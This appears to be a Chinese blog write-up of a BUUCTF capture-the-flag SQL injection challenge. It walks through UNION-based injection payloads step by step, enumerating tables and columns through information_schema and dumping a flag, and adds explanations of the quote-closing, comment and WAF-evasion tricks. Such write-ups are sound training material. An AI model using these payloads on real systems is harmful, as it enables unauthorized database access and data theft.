[第一章 web入门]SQL注入-1BUUCTF

[第一章 web入门]SQL注入-1

🌐题目

题目类型:报错回显注入

在这里插入图片描述

F12:
在这里插入图片描述

🌐思路

1.判断字符型or数字型注入点

acee9e6c-1690-4765-b9a9-f2fbfbc871cd.node5.buuoj.cn:81/index.php==?id=1and1=1==,回显正常

acee9e6c-1690-4765-b9a9-f2fbfbc871cd.node5.buuoj.cn:81/index.php==?id=1and1=2==,回显正常

acee9e6c-1690-4765-b9a9-f2fbfbc871cd.node5.buuoj.cn:81/index.php==?id=1’and’1’='1==,回显正常

acee9e6c-1690-4765-b9a9-f2fbfbc871cd.node5.buuoj.cn:81/index.php==?id=1’and’1’='2==,回显失败

回显如下

在这里插入图片描述

发现是字符型注入

2.查字段

id=1' order by 3 --+                                    回显正常
id=1' order by 4 --+									回显失败

得知字段为3

3.查数据库名

?id=-1' union select 1,database(),3 --+

回显:

在这里插入图片描述

4.判断回显字段

调整三个字段的位置的元素,发现回显字段为:2 3

5.查表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

回显:
在这里插入图片描述

6.查fl4g and notes

?id=0’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘fl4g’–+

在这里插入图片描述

?id=0’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘notes’–+

MySQL中的group_concat(column_name)函数用于将information_schema.columns表中column_name字段的所有不同值连接成一个字符串,这里它针对的是当前选定数据库中表名为’notes’的所有列。

在SQL语句中,table_schema=database() 表示查询的是当前数据库(即执行该SQL命令时所连接的数据库)中的表信息。database() 是一个MySQL内置函数,它返回当前正在使用的数据库名。

table_name='notes' 这部分则指定了需要查询表名为 ‘notes’ 的表的相关信息。

所以整个条件 where table_schema=database() and table_name='notes' 用于筛选出当前数据库中名为 ‘notes’ 的表的详细数据或结构信息。如果这个表达式出现在SQL查询中,通常是用来获取关于 ‘notes’ 表的具体列信息、索引信息或其他元数据等。例如,在上述SQL注入尝试中,攻击者就是试图获取名为 ‘notes’ 的表的所有列名。

7.查fllllag

做的时候网页一直报错,原来是靶机不知道哪里出了点问题,重启一下就好了😅

?id=-4' union select 1,database(), group_concat(fllllag) from fl4g --+

在这里插入图片描述

🌐学习时的question:

==(1)==为什么在sql注入爆字段的时候,id=1’ order by 3 --+后面有一个–+

Answer

在SQL注入攻击中,“id=1’ order by 3 --+” 这样的输入是为了利用注释符(–)来结束SQL语句的剩余部分,并避免可能的语法错误。这个构造的具体作用和目的如下:

  1. 注入攻击原理:攻击者尝试通过在用户可控的输入字段中插入恶意的SQL代码来获取数据库信息。

  2. order byorder by 3 是用于测试查询语句中目标表有多少个可排序的列。如果原本的查询可能是 select * from users where id = '1',那么添加 order by 3 后,正常情况下只有当users表至少有三个可排序的列时,该查询才不会报错。通过逐渐增加数字并观察服务器响应,攻击者可以确定表中的列数。

  3. “–+” 注释符

    -- 在SQL中是单行注释符,它后面的内容直到行尾都将被数据库引擎忽略

    + 在某些数据库系统中(如MySQL),加号可能用来防止空格或编码问题导致注释失效,确保注释能正确生效。

    因此,--+ 结合起来就是确保紧跟其后的所有内容都被当作注释而不会被执行,这样可以避免原始查询语句中可能出现的其他约束条件或子句对当前注入测试产生干扰。

  4. 绕过WAF(Web应用防火墙)或防止错误回显:有时候,攻击者也会使用注释来绕过安全防护措施,例如Web应用防火墙可能会检测到不完整的SQL语句而阻止请求,或者服务器端可能返回详细的错误信息,暴露了数据库结构,注释则可以掩盖这种试探性注入行为,减少被系统发现的风险。

==(2)==为什么在sql注入爆字段的时候,id=1’ order by 3 --+有一个’

Answer:

在SQL注入攻击中,“id=1’ order by 3 --+” 这样的输入结构具有以下几个意图:

闭合原有参数

' 单引号在这里用于结束原本SQL查询语句中的字符串参数。比如假设原始的SQL语句是 SELECT * FROM users WHERE id = '1',攻击者通过添加单引号 ' 来闭合这个参数,这样后续的注入代码不会被视为原始参数的一部分。

==(3)==group_concat(table_name) from information_schema.tables where table_schema=database()–+

Answer:

在SQL注入场景中,表达式 group_concat(table_name) from information_schema.tables where table_schema=database()--+ 有以下作用:

  1. 获取数据库中的所有表名

    information_schema.tables 是MySQL等数据库系统中存储所有数据库表信息的系统表。通过查询这个表,攻击者可以获取目标数据库的所有表的信息。

  2. table_schema=database()

    database() 函数返回当前正在使用的数据库名称。这里的条件语句使得查询只针对当前数据库中的表,而非服务器上的所有数据库。

  3. GROUP_CONCAT函数

    GROUP_CONCAT(table_name) 是MySQL中的一个聚合函数,它会将同一组(在这个情况下是所有)记录的table_name字段值连接成一个字符串,以逗号分隔。这样,攻击者可以通过一次查询获得当前数据库下所有表的名字,而不需要进行多次查询。

  • 30
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: SQL注入是一种常见的攻击方式,攻击者通过在Web应用程序中注入恶意的SQL语句,从而获取敏感信息或者执行非法操作。SQL注入攻击的原理是利用Web应用程序没有对用户输入的数据进行充分的过滤和验证,从而导致恶意SQL语句被执行。为了防止SQL注入攻击,开发人员需要对用户输入的数据进行严格的过滤和验证,同时使用参数化查询等技术来防止SQL注入攻击。 ### 回答2: SQL注入攻击是指攻击者通过把恶意的SQL语句插入到应用程序输入数据中的方法,来实现非法操作或篡改数据的一种攻击技术。攻击者利用SQL注入漏洞可以获取敏感数据,改变数据库中的数据,甚至完全控制应用程序。 攻击者利用SQL注入漏洞,可以通过几种方法来实现攻击。以下是一些常见的SQL注入攻击方式: 1.基于错误的注入:攻击者可以通过注入恶意SQL语句,导致应用程序出现错误或异常,从而获得应用程序内部的敏感数据。 2.盲注注入:攻击者可以通过注入语句,来获取数据库信息,如数据库版本,或者判断SQL查询的结果是否正确。 3.联合查询注入:攻击者可以通过在注入语句中添加SELECT语句,来获取敏感数据或执行一些非法操作。 SQL注入攻击作为一种常见的网络攻击方式,需要我们在开发过程中加强对应用程序输入数据进行过滤和检查,以防止SQL注入漏洞。以下是一些预防SQL注入攻击的方法: 1.使用参数化查询:应用程序可以使用参数化查询语句,通过绑定参数来保证输入数据不会被作为SQL语句的一部分执行。 2.限制用户输入:应用程序可以限制用户输入的字符集合,或对用户输入的内容进行验证和过滤。 3.对于敏感数据,可以使用加密等措施来保证数据的安全性。 总之,应用程序开发者需要认识到SQL注入攻击的威胁,并在开发过程中采取一些预防措施来保证应用程序的安全性。 ### 回答3: SQL注入是一种常见的网络攻击方式,旨在通过在输入框或者URL中注入SQL代码,以达到破坏或者获取数据库数据的目的。SQL注入可以通过输入合法的SQL语句来实现,或者通过输入特定的字符来执行恶意代码。 SQL注入攻击的原理在于,攻击者在输入框或者URL中输入包含SQL关键词的字符,这些字符会被解释成SQL命令执行,并且会以其余参数的身份执行,这意味着该攻击可以以管理员的身份执行,且能获取数据库的全部数据。 SQL注入攻击的表现可以是网站遭到入侵或者数据库中数据突然消失或者受到修改。为了防止SQL注入攻击,应该首先排除参数化输入的漏洞,即对于用户输入的数据需要进行过滤,过滤掉控制字符,即可有效地防止SQL注入攻击。 总之,SQL注入攻击是一种网络安全威胁,要防范此类攻击,网站管理者应当在网站上做好安全措施,确保用户输入的数据进行有效的过滤和检查以保证安全性。同时,网站用户也应避免输入不必要的信息和暴露个人隐私等信息,以避免成为攻击者的目标。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值